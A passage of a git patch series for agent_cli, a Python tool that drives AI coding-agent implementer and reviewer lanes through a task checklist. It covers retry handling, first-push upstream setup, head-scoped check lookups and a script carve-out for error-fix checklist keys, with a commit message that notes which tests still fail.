# type: ignore[no-untyped-def] + calls["n"] += 1 + return LaneResult( + role="reviewer", + vendor="grok", + status="unavailable", + argv=["grok"], + returncode=127, + stdout="", + stderr="command not found", + ) + + monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) with pytest.raises(SystemExit) as exc: run( tmp_path, @@ -424,11 +517,58 @@ def fake_launch(**kwargs): # type: ignore[no-untyped-def] ], ) assert exc.value.code == 2 + assert calls["n"] == 2 # initial + one retry assert _checklist(tmp_path, tid)["reviewer_approved"] != "ja" - for agent in _agents(tmp_path, tid): - if agent.get("role") != "reviewer": - continue - assert agent.get("status") == "working" + assert _task_state(tmp_path, tid) != "failed" + + +def test_run_spec_file_reviewer_retry_exhaustion_finishes_working_agent( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """Retry-exhaustion fails the task and finishes the still-working reviewer agent.""" + tid = _bootstrap_implement(tmp_path, capsys) + _finish_implementer(tmp_path, tid, capsys) + run(tmp_path, ["run", "--task", tid]) # implementer_done + capsys.readouterr() + spec = tmp_path / "review-spec.md" + spec.write_text("review this\n", encoding="utf-8") + calls = {"n": 0} + + def fake_launch(**kwargs): # type: ignore[no-untyped-def] + calls["n"] += 1 + return LaneResult( + role="reviewer", + vendor="grok", + status="complete", + argv=["grok"], + returncode=0, + stdout="STATUS: complete\n", + stderr="", + ) + + monkeypatch.setattr("agent_cli.run_core.launch", fake_launch) + with pytest.raises(SystemExit) as exc: + run( + tmp_path, + [ + "run", + "--task", + tid, + "--spec-file", + str(spec), + "--no-tmux", + "--cwd", + str(tmp_path), + ], + ) + assert exc.value.code != 0 + assert calls["n"] == 2 + assert _task_state(tmp_path, tid) == "failed" + agents = _agents(tmp_path, tid) + assert not any(a.get("status") == "working" for a in agents) + reviewer = next(a for a in agents if a.get("role") == "reviewer") + assert reviewer.get("status") == "done" + assert "retry" in str(reviewer.get("note") or "").lower() def _advance_to_pushed( From dac389c7dac5e3661f47a9494bc769f364640e16 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Wed, 2 Sep 2026 04:44:13 -0300 Subject: [PATCH 02/47] Fix the review-prompt gap and 9 rounds of cross-vendor review findings. Reviewer and PR-reviewer lanes previously received the implementer's spec file verbatim instead of a real review instruction, so the mechanical STATUS+FINDINGS verdict rule had never actually been exercised. Fixes that, plus a no-upstream first-push failure, a round-cap regression that leaked into every interactive agent run task on this device, a failed pr.open insert being mistaken for an existing PR, a stray working-agent row on vendor-CLI-unavailable, and the deviation_declared/deviation_granted gate that blocked every error-fix task from ever reaching done. Known remaining issue, next round: store.py's second-resolution timestamps make several "latest gate/check/agent" lookups unreliable when multiple rows land in the same wall-clock second. Two of four known instances are fixed here; test_fixer_pr_gate_rejection_clears_head_for_new_push and test_fixer_pr_gate_rejection_clears_head_before_next_step still fail against the remaining two, in main.py's _latest_gates/_latest_checks. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- DESIGN.md | 8 +- src/agent_cli/chain.py | 70 ++++-- src/agent_cli/error_fix_act.py | 18 ++ src/agent_cli/fixer_act.py | 79 +++++-- src/agent_cli/git_act.py | 108 ++++++---- src/agent_cli/lane.py | 12 ++ src/agent_cli/main.py | 56 +++-- src/agent_cli/run_core.py | 365 ++++++++++++++++++++++++------- tests/test_chain.py | 125 +++++++++++ tests/test_fixer_act.py | 382 ++++++++++++++++++++++++++++++++- tests/test_git_act.py | 47 +++- tests/test_lane.py | 20 ++ tests/test_run.py | 271 ++++++++++++++++++++++- 13 files changed, 1388 insertions(+), 173 deletions(-) diff --git a/DESIGN.md b/DESIGN.md index 5160d1f..b85b4ff 100644 --- a/DESIGN.md +++ b/DESIGN.md @@ -665,7 +665,9 @@ The model never receives production credentials. Analysis that only reads the ex `agent watch error-fix` find-or-creates the implement task and clones `https://github.com/.git` into `$AGENT_HOME/error-fix-work/`; `agent github pending` still opens drafts, and a retry draft uses the existing head `error-fix-`. -`spec_written` stays human-only for ordinary implement tasks (`HUMAN_KEYS`, step kind `human`). Exception: when the task payload carries `error_id` (error-fix-originated), `close-step --source script` may set `spec_written=ja` with evidence. Evidence is still mandatory. +`spec_written` stays human-only for ordinary implement tasks (`HUMAN_KEYS`, step kind `human`). Exception: when the task is error-fix-originated — payload carries `error_id` **and** a matching validated `error.fix` activity exists for that `error_id` in the same session — `close-step --source script` may set `spec_written=ja` with evidence. Evidence is still mandatory. An `error.seen` or `error.skip` alone does not qualify. + +For confirmed error-fix tasks only (same `error_fix_confirmed` condition), `close-step --source script --status n_a` may close `deviation_declared` / `deviation_granted` with evidence. Any other status (e.g. `--status ja`), or any task without a confirmed `error.fix` origin, stays human-only. Without this carve-out no error-fix task can reach `done`, since both keys are `HUMAN_KEYS` with no other script path to close them. ### 21.6 Not in this revision @@ -673,11 +675,11 @@ The model never receives production credentials. Analysis that only reads the ex ### 21.7 Automated fixer driver -`agent watch error-fix-work` drains open error-fix `implement` tasks on this device (`payload.error_id` set, state not `done`/`failed`) from `spec_written` through a draft `pr.open`, using only script control flow and the `grok`/`codex` CLIs via `lane.launch()`. It is not wired into `agent daemon`. +`agent watch error-fix-work` drains open error-fix `implement` tasks on this device (`payload.error_id` set and a matching `error.fix` confirmed for that id in the same session, state not `done`/`failed`) from `spec_written` through a draft `pr.open`, using only script control flow and the `grok`/`codex` CLIs via `lane.launch()`. It is not wired into `agent daemon`. - Scripts the five-part spec under `$AGENT_HOME/error-fix-work//.spec.md` from the `error.fix` brief plus `error.seen` metadata (never raw log excerpts), closes `spec_written` via the script carve-out above, then `agent round start`. - Walks the spine with the same step executor as `agent run` (including auto pass/fail for reviewer and PR-reviewer lanes from `STATUS:` + `FINDINGS:`). Round retries reset the relevant checklist keys to `nein` and call `agent round start`. Cap is `task.current_round` against 5: exceeding it sets `task state failed` and stops touching that task. -- If a vendor CLI binary is missing (`OSError` / `FileNotFoundError` before any `LaneResult`) or a lane returns `LaneResult(status="unavailable")` on both the initial attempt and the one retry, the driver mutates nothing for that task, notes the CLI looks unavailable, and moves on — the next scan retries after a human fixes PATH/auth. +- If a vendor CLI binary is missing (`OSError` / `FileNotFoundError` before any `LaneResult`) or a lane returns `LaneResult(status="unavailable")` on both the initial attempt and the one retry, the driver leaves task and checklist state untouched for retry, but releases any already-started agent row (`cmd_agent finish --verdict unavailable`) rather than leaving it `working` forever — notes the CLI looks unavailable, and moves on; the next scan retries after a human fixes PATH/auth. - Each scan re-checks from the ledger (not per-call local state) whether `pushed` is closed but no `pr.open` activity row exists yet for that task's branch head; if so it retries the insertion — so a failed insert is not silently skipped by the next scan. - After `pushed`, inserts a pending `pr.open` (title/body per CONTRIBUTING) and runs `agent github pending`. - Failing a task via lane retry-exhaustion also finishes the still-working agent row (`blocked` for implementer, `rejected` for reviewer/pr-reviewer roles) so the row does not block a later manual round-start recovery. diff --git a/src/agent_cli/chain.py b/src/agent_cli/chain.py index 8dd0341..61d2eee 100644 --- a/src/agent_cli/chain.py +++ b/src/agent_cli/chain.py @@ -247,11 +247,19 @@ def required_source(step: Step) -> str: def is_error_fix_originated(snapshot: dict[str, Any] | None) -> bool: - """True when the task payload carries an error_id (error-fix skill).""" + """True when this is a validated error-fix task. + + Requires both payload.error_id and snapshot.error_fix_confirmed (a matching + error.fix activity in the same session). Payload alone is not enough — + an error.seen / error.skip without error.fix must not get the + spec_written script carve-out. + """ if not isinstance(snapshot, dict): return False payload = snapshot.get("payload") - return isinstance(payload, dict) and bool(payload.get("error_id")) + if not isinstance(payload, dict) or not payload.get("error_id"): + return False + return bool(snapshot.get("error_fix_confirmed")) @dataclass(frozen=True) @@ -269,6 +277,7 @@ def close_allowed( source: str, evidence: str | None, snapshot: dict[str, Any] | None = None, + status: str = "ja", ) -> CloseVerdict: """May this key be set to ja/n_a NOW? Only the current next step.""" step = find_step(workflow, key) @@ -278,13 +287,15 @@ def close_allowed( return CloseVerdict(False, f"{key} requires evidence", step) want = required_source(step) if source != want: - # error-fix implement tasks may script-author spec_written; HUMAN_KEYS - # and Step.kind stay human so every other implement task is unchanged. - if not ( - key == "spec_written" - and source == "script" - and is_error_fix_originated(snapshot) - ): + # error-fix implement tasks may script-author spec_written (any status) + # and, when status=="n_a", deviation_declared/deviation_granted too — + # HUMAN_KEYS and Step.kind stay human so every other task keeps the + # human-only requirement for all three keys, unchanged. + script_carveout = source == "script" and is_error_fix_originated(snapshot) + deviation_na = ( + key in ("deviation_declared", "deviation_granted") and status == "n_a" + ) + if not (script_carveout and (key == "spec_written" or deviation_na)): return CloseVerdict( False, f"{key} requires --source {want} (got {source})", step ) @@ -317,11 +328,22 @@ def _latest_agent(snapshot: dict[str, Any], role: str, vendor: str | None) -> di def _latest_gate( snapshot: dict[str, Any], stage: str, dimension: str ) -> dict[str, Any] | None: + """Latest gate for stage/dimension. + + When snapshot.head_sha is set, prefer a gate recorded for that head so a + same-second reject@old then approve@new pair cannot lose to list-order ties + on second-resolution recorded_at. + """ + want = str(snapshot.get("head_sha") or "").strip().lower() hit = None + hit_for_head = None for g in snapshot.get("gates") or []: if g.get("stage") == stage and g.get("dimension") == dimension: hit = g - return hit + g_head = str(g.get("head_sha") or "").strip().lower() + if want and g_head == want: + hit_for_head = g + return hit_for_head if hit_for_head is not None else hit def _artifact_ok(step: Step, snapshot: dict[str, Any]) -> str: @@ -361,9 +383,33 @@ def _artifact_ok(step: Step, snapshot: dict[str, Any]) -> str: checks = list(snapshot.get("local_checks") or []) if not checks: return "no local_check recorded" - if any(c.get("result") == "fail" for c in checks): + want = str(snapshot.get("head_sha") or "").strip().lower() + if want: + # Scope to this head so a stale pass/fail for another (or empty) head + # cannot mask a fresh check — load_task_dict keeps the full history + # and same-second ran_at ties are otherwise order-unstable. + for_head = [ + c + for c in checks + if str(c.get("head_sha") or "").strip().lower() == want + ] + if any(c.get("result") == "fail" for c in for_head): + return "local_check fail" + if not any( + str(c.get("result") or "") in ("pass", "skip") for c in for_head + ): + return "no local_check for current head" + return "" + # No bound head: last row per name wins (list is oldest→newest). + latest: dict[str, Any] = {} + for c in checks: + name = c.get("name") + if name is not None: + latest[str(name)] = c + latest_list = list(latest.values()) + if any(c.get("result") == "fail" for c in latest_list): return "local_check fail" - if not any(c.get("result") in ("pass", "skip") for c in checks): + if not any(c.get("result") in ("pass", "skip") for c in latest_list): return "local_check without pass/skip" return "" if step.key == "pushed": diff --git a/src/agent_cli/error_fix_act.py b/src/agent_cli/error_fix_act.py index 23ff31c..c410669 100644 --- a/src/agent_cli/error_fix_act.py +++ b/src/agent_cli/error_fix_act.py @@ -65,6 +65,24 @@ def _error_seen(store: Store, session_id: str, error_id: str) -> dict[str, Any]: return row +def has_error_fix_activity(store: Store, session_id: str, error_id: str) -> bool: + """True when this session has an error.fix activity for error_id.""" + if not error_id: + return False + origin = store.device_id() + for row in store.rows("activity"): + if row.get("_origin_device_id") != origin: + continue + if row.get("session_id") != session_id: + continue + if row.get("type") != "error.fix": + continue + payload = row.get("payload") + if isinstance(payload, dict) and payload.get("error_id") == error_id: + return True + return False + + def _pr_open_merged(store: Store, pr_open_id: str) -> bool: origin = store.device_id() for row in store.rows("activity"): diff --git a/src/agent_cli/fixer_act.py b/src/agent_cli/fixer_act.py index 13eb779..d204910 100644 --- a/src/agent_cli/fixer_act.py +++ b/src/agent_cli/fixer_act.py @@ -137,13 +137,19 @@ def template_pr_open_payload( def _pr_open_row_exists(store: Store, *, head: str) -> bool: - """True when a pr.open activity row already exists for this branch head.""" + """True when a non-failed pr.open already exists for this branch head. + + `done` (success) and `pending` (in-flight) skip re-insert. `error` does + not — the driver must retry after a failed `gh pr create`. + """ origin = store.device_id() for row in store.rows("activity"): if row.get("_origin_device_id") != origin: continue if row.get("type") != "pr.open": continue + if row.get("execution_status") not in ("done", "pending"): + continue payload = row.get("payload") if isinstance(payload, dict) and payload.get("head") == head: return True @@ -238,7 +244,14 @@ def _contributing_ok_evidence(snap: dict[str, Any]) -> str: def _ensure_done_readiness(store: Store, tid: str, *, brief: str) -> None: - """Set n_a deviation keys + summaries so task-done can pass.""" + """Close contributing_ok, error-fix deviation n_a keys, and summaries. + + For ordinary implement tasks, deviation_declared / deviation_granted stay + human-only (HUMAN_KEYS). For an error-fix-originated task, the same + script-authorship carve-out chain.py grants for spec_written also lets + this driver close both with n_a — a mechanically generated error-fix + task has, by design, no deliberate CONTRIBUTING.md rule-bending to declare. + """ from . import main as main_mod checklist = { @@ -246,23 +259,6 @@ def _ensure_done_readiness(store: Store, tid: str, *, brief: str) -> None: for r in store.rows("checklist_item") if r.get("task_id") == tid } - for key in ("deviation_declared", "deviation_granted"): - if checklist.get(key) in (None, "pending", "nein"): - main_mod.cmd_checklist( - [ - "set", - "--task", - tid, - "--key", - key, - "--status", - "n_a", - "--source", - "script", - "--evidence", - "error-fix auto: no deviation", - ] - ) if checklist.get("contributing_ok") in (None, "pending", "nein"): snap = main_mod._chain_snapshot(store, tid) ready = next_steps(str(snap["workflow"]), snap["checklist"], spine_only=True) @@ -279,6 +275,42 @@ def _ensure_done_readiness(store: Store, tid: str, *, brief: str) -> None: _contributing_ok_evidence(snap), ] ) + evidence = ( + "error-fix task: no CONTRIBUTING.md deviation, mechanically generated" + ) + for key in ("deviation_declared", "deviation_granted"): + snap = main_mod._chain_snapshot(store, tid) + checklist = snap["checklist"] + if checklist.get(key) not in (None, "pending", "nein"): + continue + ready = next_steps(str(snap["workflow"]), checklist, spine_only=False) + if not any(s.key == key for s in ready): + continue + verdict = close_allowed( + str(snap["workflow"]), + key, + checklist=checklist, + source="script", + evidence=evidence, + status="n_a", + snapshot=snap, + ) + if not verdict.allowed: + raise StoreError(verdict.reason) + main_mod.cmd_close_step( + [ + "--task", + tid, + "--key", + key, + "--source", + "script", + "--status", + "n_a", + "--evidence", + evidence, + ] + ) task = store.row("task", tid) if task is None: return @@ -503,10 +535,15 @@ def _drive_one( ) if outcome.kind == "rejected_new_round": - # Continue loop — implementer_done is open again on the new round. + # PR-gate rejection resets `pushed` (see _PR_REJECT_RESET_KEYS) and + # expects a new commit — drop the stale head so the next push is + # not compared against the pre-rejection sha. Inner reviewer + # rejection keeps key="reviewer_approved" and does not reset pushed. + if outcome.key != "reviewer_approved": + head = None continue - if outcome.kind in ("closed", "agent_closed", "rejected_new_round"): + if outcome.kind in ("closed", "agent_closed"): continue return f"error-fix-work {tid} stop kind={outcome.kind}" diff --git a/src/agent_cli/git_act.py b/src/agent_cli/git_act.py index 9214d49..4ee226f 100644 --- a/src/agent_cli/git_act.py +++ b/src/agent_cli/git_act.py @@ -46,54 +46,76 @@ def push_branch(*, cwd: str, runner: Runner) -> str: raise GitActError("uncommitted changes") completed = runner(_git(cwd, "rev-parse", "--abbrev-ref", "@{upstream}")) - if completed.returncode != 0: - raise GitActError("no upstream") - upstream = completed.stdout.strip() - if not upstream: - raise GitActError("no upstream") - - completed = runner(_git(cwd, "config", "--get", f"branch.{branch}.remote")) if completed.returncode != 0 or not completed.stdout.strip(): - raise GitActError("no upstream remote") - remote = completed.stdout.strip() - completed = runner(_git(cwd, "config", "--get", f"branch.{branch}.merge")) - if completed.returncode != 0 or not completed.stdout.strip(): - raise GitActError("no upstream merge ref") - merge_ref = completed.stdout.strip() - if not merge_ref.startswith("refs/heads/"): - raise GitActError(f"unexpected merge ref {merge_ref!r}") - merge_short = merge_ref[len("refs/heads/") :] - if merge_short in PROTECTED: - raise GitActError(f"upstream tracks protected branch {merge_short}") - - completed = runner(_git(cwd, "fetch", "--", remote)) - if completed.returncode != 0: - raise GitActError(_fail_detail(completed, "git fetch failed")) - - completed = runner( - _git(cwd, "rev-list", "--left-right", "--count", "@{upstream}...HEAD") - ) - if completed.returncode != 0: - raise GitActError(_fail_detail(completed, "git failed")) - count_raw = completed.stdout.strip() - parts = count_raw.replace("\t", " ").split() - if len(parts) != 2: - raise GitActError(f"bad rev-list count: {count_raw!r}") - try: - behind = int(parts[0]) - ahead = int(parts[1]) - except ValueError as exc: - raise GitActError(f"bad rev-list count: {count_raw!r}") from exc - if behind < 0 or ahead < 0: - raise GitActError(f"bad rev-list count: {count_raw!r}") - if behind > 0: - raise GitActError("branch is behind upstream") - if ahead > 0: + # Fresh branch (e.g. error-fix checkout -B): set upstream on first push. + remotes_done = runner(_git(cwd, "remote")) + if remotes_done.returncode != 0: + raise GitActError(_fail_detail(remotes_done, "git remote failed")) + remotes = [r for r in remotes_done.stdout.splitlines() if r.strip()] + if not remotes: + raise GitActError("no remotes") + if len(remotes) == 1: + remote = remotes[0] + elif "origin" in remotes: + remote = "origin" + else: + raise GitActError("ambiguous remotes (no origin)") + merge_ref = f"refs/heads/{branch}" + merge_short = branch + if merge_short in PROTECTED: + raise GitActError(f"upstream tracks protected branch {merge_short}") completed = runner( - _git(cwd, "push", "--", remote, f"HEAD:{merge_ref}") + _git(cwd, "push", "--set-upstream", "--", remote, f"HEAD:{merge_ref}") ) if completed.returncode != 0: raise GitActError(_fail_detail(completed, "git push failed")) + else: + upstream = completed.stdout.strip() + if not upstream: + raise GitActError("no upstream") + + completed = runner(_git(cwd, "config", "--get", f"branch.{branch}.remote")) + if completed.returncode != 0 or not completed.stdout.strip(): + raise GitActError("no upstream remote") + remote = completed.stdout.strip() + completed = runner(_git(cwd, "config", "--get", f"branch.{branch}.merge")) + if completed.returncode != 0 or not completed.stdout.strip(): + raise GitActError("no upstream merge ref") + merge_ref = completed.stdout.strip() + if not merge_ref.startswith("refs/heads/"): + raise GitActError(f"unexpected merge ref {merge_ref!r}") + merge_short = merge_ref[len("refs/heads/") :] + if merge_short in PROTECTED: + raise GitActError(f"upstream tracks protected branch {merge_short}") + + completed = runner(_git(cwd, "fetch", "--", remote)) + if completed.returncode != 0: + raise GitActError(_fail_detail(completed, "git fetch failed")) + + completed = runner( + _git(cwd, "rev-list", "--left-right", "--count", "@{upstream}...HEAD") + ) + if completed.returncode != 0: + raise GitActError(_fail_detail(completed, "git failed")) + count_raw = completed.stdout.strip() + parts = count_raw.replace("\t", " ").split() + if len(parts) != 2: + raise GitActError(f"bad rev-list count: {count_raw!r}") + try: + behind = int(parts[0]) + ahead = int(parts[1]) + except ValueError as exc: + raise GitActError(f"bad rev-list count: {count_raw!r}") from exc + if behind < 0 or ahead < 0: + raise GitActError(f"bad rev-list count: {count_raw!r}") + if behind > 0: + raise GitActError("branch is behind upstream") + if ahead > 0: + completed = runner( + _git(cwd, "push", "--", remote, f"HEAD:{merge_ref}") + ) + if completed.returncode != 0: + raise GitActError(_fail_detail(completed, "git push failed")) completed = runner(_git(cwd, "rev-parse", "HEAD")) if completed.returncode != 0: diff --git a/src/agent_cli/lane.py b/src/agent_cli/lane.py index 6716000..3d2d4e4 100644 --- a/src/agent_cli/lane.py +++ b/src/agent_cli/lane.py @@ -38,6 +38,18 @@ def findings_header_present(text: str) -> bool: return _FINDINGS_HEADER_RE.search(text) is not None +def has_single_terminal_report(text: str) -> bool: + """True when STATUS: and FINDINGS: each appear exactly once. + + Multiple STATUS or FINDINGS headers (e.g. an early example block plus a + real report) are unparseable — callers must not trust parse_status / + count_findings on such transcripts. + """ + status_n = len(list(_STATUS_RE.finditer(text))) + findings_n = len(list(_FINDINGS_HEADER_RE.finditer(text))) + return status_n == 1 and findings_n == 1 + + def count_findings(text: str) -> int: """Count non-empty FINDINGS entries. Empty / 0 / none → 0. diff --git a/src/agent_cli/main.py b/src/agent_cli/main.py index 438d9bd..75c35b9 100644 --- a/src/agent_cli/main.py +++ b/src/agent_cli/main.py @@ -7,7 +7,6 @@ import os import re import secrets -import shlex import socket import sys import time @@ -946,9 +945,19 @@ def cmd_agent(args: list[str]) -> None: _require_skill(session, skill_for_agent_role(str(role))) except ValueError: die(f"unknown agent role: {role}") + # Neutral release: clear working without task/round state changes. + # Used when a vendor CLI is unavailable so a later retry is unblocked. + if verdict == "unavailable": + agent["status"] = "done" + agent["finished_at"] = utcnow() + if note is not None: + agent["note"] = note + store.write("agent", "update", aid, _strip(agent)) + print(f"agent {aid} verdict={verdict}") + return if role == "implementer": if verdict not in ("done", "blocked"): - die("implementer verdict must be done|blocked") + die("implementer verdict must be done|blocked|unavailable") if agent.get("round") != int(task.get("current_round") or 0): die("agent round is not the current round") if task.get("state") != "implementing": @@ -967,7 +976,7 @@ def cmd_agent(args: list[str]) -> None: store.write("task", "update", task["id"], _strip(task)) elif role == "reviewer": if verdict not in ("approved", "rejected"): - die("reviewer verdict must be approved|rejected") + die("reviewer verdict must be approved|rejected|unavailable") if agent.get("round") != int(task.get("current_round") or 0): die("agent round is not the current round") if task.get("state") != "reviewing": @@ -987,7 +996,7 @@ def cmd_agent(args: list[str]) -> None: store.write("task", "update", task["id"], _strip(task)) elif role in ("pr-reviewer-quality", "pr-reviewer-logic"): if verdict not in ("approved", "rejected"): - die("pr-reviewer verdict must be approved|rejected") + die("pr-reviewer verdict must be approved|rejected|unavailable") _require_owned(store, task, "task") else: die(f"unknown agent role: {role}") @@ -1006,7 +1015,7 @@ def cmd_check(args: list[str]) -> None: if not args or args[0] != "record": die( "Usage: agent check record --task UUID --name NAME --command CMD " - "--result pass|fail|skip [--output TEXT]" + "--result pass|fail|skip [--output TEXT] [--head SHA]" ) rest = args[1:] tid = require_flag(rest, "--task") @@ -1014,6 +1023,7 @@ def cmd_check(args: list[str]) -> None: command = require_flag(rest, "--command") result = require_flag(rest, "--result") output = flag(rest, "--output") + head = flag(rest, "--head") if result not in ("pass", "fail", "skip"): die("result must be pass|fail|skip") if result == "skip" and (output is None or output == ""): @@ -1038,6 +1048,7 @@ def cmd_check(args: list[str]) -> None: "command": command, "result": result, "output": output, + "head_sha": head or None, "ran_at": utcnow(), }, ) @@ -2097,16 +2108,20 @@ def load_task_dict(store: Store, tid: str) -> dict: if r.get("task_id") == tid } checks = [c for c in store.rows("local_check") if c.get("task_id") == tid] + # Keep full history (like gates). ran_at is second-resolution; same-second + # ties plus ORDER BY updated_at DESC without a secondary key are unstable, + # so collapsing to latest-by-name can drop a fresh head-bound pass and + # leave only a stale row — chain._artifact_ok matches by head over this list. ordered_checks = list(reversed(checks)) ordered_checks.sort(key=lambda c: c.get("ran_at") or "") - latest_by_name: dict[str, dict] = {} - for c in ordered_checks: - name = c.get("name") - if name is None: - continue - latest_by_name[str(name)] = c local_checks = [ - {"name": name, "result": c.get("result")} for name, c in latest_by_name.items() + { + "name": c.get("name"), + "result": c.get("result"), + "head_sha": c.get("head_sha") or "", + } + for c in ordered_checks + if c.get("name") is not None ] gates_raw = [g for g in store.rows("review_gate") if g.get("task_id") == tid] ordered_gates = list(reversed(gates_raw)) @@ -2144,6 +2159,8 @@ def load_session_tasks(store: Store, session_id: str) -> list[dict]: def _chain_snapshot(store: Store, tid: str, extra_head: str | None = None) -> dict: + from .error_fix_act import has_error_fix_activity + task = load_task_dict(store, tid) sid = str(task.get("session_id") or "") session = store.row("session", sid) if sid else None @@ -2164,10 +2181,19 @@ def _chain_snapshot(store: Store, tid: str, extra_head: str | None = None) -> di rounds_ordered.sort(key=lambda r: (r.get("round") or 0, str(r.get("id") or ""))) last_round = rounds_ordered[-1] if rounds_ordered else {} head = extra_head or "" - if not head: + if not head and str((task.get("checklist") or {}).get("pushed") or "") == "ja": for g in task.get("gates") or []: if g.get("head_sha"): head = str(g["head_sha"]) + payload = task.get("payload") or {} + error_id = "" + if isinstance(payload, dict): + raw_eid = payload.get("error_id") + if isinstance(raw_eid, str): + error_id = raw_eid + error_fix_confirmed = bool( + error_id and sid and has_error_fix_activity(store, sid, error_id) + ) return { "session_active": bool(session is not None and session.get("status") == "active"), "agents": agents, @@ -2179,7 +2205,8 @@ def _chain_snapshot(store: Store, tid: str, extra_head: str | None = None) -> di "workflow": task.get("workflow"), "checklist": task.get("checklist") or {}, "session_id": sid, - "payload": task.get("payload") or {}, + "payload": payload, + "error_fix_confirmed": error_fix_confirmed, } @@ -2426,6 +2453,7 @@ def cmd_close_step(args: list[str]) -> None: source=chain_source, evidence=evidence, snapshot=snap, + status=status, ) if not verdict.allowed: die(verdict.reason) diff --git a/src/agent_cli/run_core.py b/src/agent_cli/run_core.py index 1481f25..39aadb0 100644 --- a/src/agent_cli/run_core.py +++ b/src/agent_cli/run_core.py @@ -1,7 +1,8 @@ """Shared spine-step executor for `agent run` and the error-fix fixer driver. -Performs ledger writes and lane launches. Does not print, die, or raise -SystemExit — callers map RunOutcome to CLI text / exit codes. +Performs ledger writes and lane launches. Delegates ledger mutations to +`main.cmd_*` helpers, which may print and raise SystemExit — callers must +catch SystemExit (and map RunOutcome) themselves. OSError from a missing vendor CLI binary propagates (fixer catches it). """ @@ -10,15 +11,45 @@ import os import re import shlex +from collections.abc import Callable from dataclasses import dataclass, field from pathlib import Path -from typing import Any, Callable +from typing import Any from .chain import NO_AUTO_CLOSE, Step, close_allowed, next_steps -from .lane import LaneResult, count_findings, findings_header_present, launch +from .lane import ( + LaneResult, + count_findings, + findings_header_present, + has_single_terminal_report, + launch, + Runner as LaneRunner, +) +from .runtime import Completed +from .store import Store DEFAULT_ROUND_CAP = 5 _SHA_RE = re.compile(r"^[0-9a-f]{7,40}$") +_REVIEW_ROLES = frozenset({"reviewer", "pr-reviewer-quality", "pr-reviewer-logic"}) +_BASE_CANDIDATES = ( + "origin/develop", + "origin/main", + "origin/master", + "develop", + "main", + "master", +) +_REVIEW_OUTPUT_CONTRACT = ( + "STATUS: complete | partial | timeout | unavailable\n" + "REASON: [...]\n" + "SCOPE: [...]\n" + "DIMENSION: [...]\n" + "FINDINGS: [...]\n" + "NOT-VERIFIABLE: [...]\n" + "GAPS: [...]" +) +Runner = Callable[[list[str]], Completed] +ExecArgv = Callable[..., Any] # Checklist keys reset when a PR-reviewer dimension is rejected (new head). _PR_REJECT_RESET_KEYS = ( @@ -156,24 +187,26 @@ def _check_record( command: str, result: str, output: str, + head: str | None = None, ) -> None: from . import main as main_mod - main_mod.cmd_check( - [ - "record", - "--task", - tid, - "--name", - name, - "--command", - command, - "--result", - result, - "--output", - output, - ] - ) + args = [ + "record", + "--task", + tid, + "--name", + name, + "--command", + command, + "--result", + result, + "--output", + output, + ] + if head: + args.extend(["--head", head]) + main_mod.cmd_check(args) def _close_step( @@ -221,12 +254,139 @@ def _interpret_lane( # No FINDINGS: header → unparseable (retry), not an automatic pass. if not findings_header_present(stdout): return "retry", None + # Multiple STATUS:/FINDINGS: blocks (e.g. quoted example + real report) + # must not be parsed as a false pass via last-STATUS / first-FINDINGS. + if not has_single_terminal_report(stdout): + return "retry", None n = count_findings(stdout) if n == 0: return "pass", None return "fail", stdout.strip() or "findings" +def _collect_review_diff( + cwd: str, exec_argv: ExecArgv +) -> tuple[str, list[str]]: + """Materialize unified diff + changed paths against a base branch.""" + base_ref: str | None = None + for candidate in _BASE_CANDIDATES: + completed = exec_argv(["git", "rev-parse", "--verify", candidate], cwd=cwd) + if int(getattr(completed, "returncode", 1)) == 0: + base_ref = candidate + break + chunks: list[str] = [] + paths: list[str] = [] + if base_ref is not None: + mb = exec_argv(["git", "merge-base", "HEAD", base_ref], cwd=cwd) + base_sha = str(getattr(mb, "stdout", "") or "").strip() + if int(getattr(mb, "returncode", 1)) == 0 and base_sha: + range_spec = f"{base_sha}...HEAD" + diff = exec_argv(["git", "diff", range_spec], cwd=cwd) + if int(getattr(diff, "returncode", 1)) == 0: + text = str(getattr(diff, "stdout", "") or "") + if text.strip(): + chunks.append(text) + names = exec_argv(["git", "diff", "--name-only", range_spec], cwd=cwd) + if int(getattr(names, "returncode", 1)) == 0: + paths.extend( + p.strip() + for p in str(getattr(names, "stdout", "") or "").splitlines() + if p.strip() + ) + for argv_extra in (["HEAD"], ["--cached"]): + diff = exec_argv(["git", "diff", *argv_extra], cwd=cwd) + if int(getattr(diff, "returncode", 1)) == 0: + text = str(getattr(diff, "stdout", "") or "") + if text.strip(): + chunks.append(text) + names = exec_argv(["git", "diff", "--name-only", *argv_extra], cwd=cwd) + if int(getattr(names, "returncode", 1)) == 0: + paths.extend( + p.strip() + for p in str(getattr(names, "stdout", "") or "").splitlines() + if p.strip() + ) + # Preserve order, drop dupes. + seen: set[str] = set() + unique_paths: list[str] = [] + for p in paths: + if p not in seen: + seen.add(p) + unique_paths.append(p) + return "\n".join(chunks), unique_paths + + +def build_review_spec_file( + store: Store, + tid: str, + *, + role: str, + round_num: int | None, + implement_spec_file: str | None, + cwd: str, + exec_argv: ExecArgv, +) -> str: + """Write a four-part review prompt under $AGENT_HOME; return its path.""" + diff_text, changed_paths = _collect_review_diff(cwd, exec_argv) + parent = Path(store.home) / "error-fix-work" / tid + parent.mkdir(mode=0o700, parents=True, exist_ok=True) + round_bit = round_num if round_num is not None else 0 + diff_path = parent / f"review-{role}-round{round_bit}.diff" + spec_path = parent / f"review-{role}-round{round_bit}.md" + diff_path.write_text(diff_text if diff_text.strip() else "(empty diff)\n", encoding="utf-8") + abs_diff = str(diff_path.resolve()) + paths_line = ", ".join(changed_paths) if changed_paths else "(none)" + + if role == "reviewer": + dimension = "does this diff fulfill the spec below?" + impl_body = "" + if implement_spec_file: + try: + impl_body = Path(implement_spec_file).read_text(encoding="utf-8") + except OSError: + impl_body = "" + context = ( + "Original implementer spec (what was asked for):\n\n" + f"{impl_body.strip() or '(implementer spec unavailable)'}\n" + ) + elif role == "pr-reviewer-quality": + dimension = "conformance/quality only (not logic/correctness)" + context = ( + "Read CONTRIBUTING.md in the repository first. " + "Judge conformance and quality against that file and repo conventions only.\n" + ) + else: + dimension = "logic/correctness only (not conformance/quality)" + context = ( + "Read CONTRIBUTING.md in the repository first for project context, " + "then judge logic and correctness of the diff only.\n" + ) + + body = ( + f"# Scope\n\n" + f"Read the unified diff via the Read 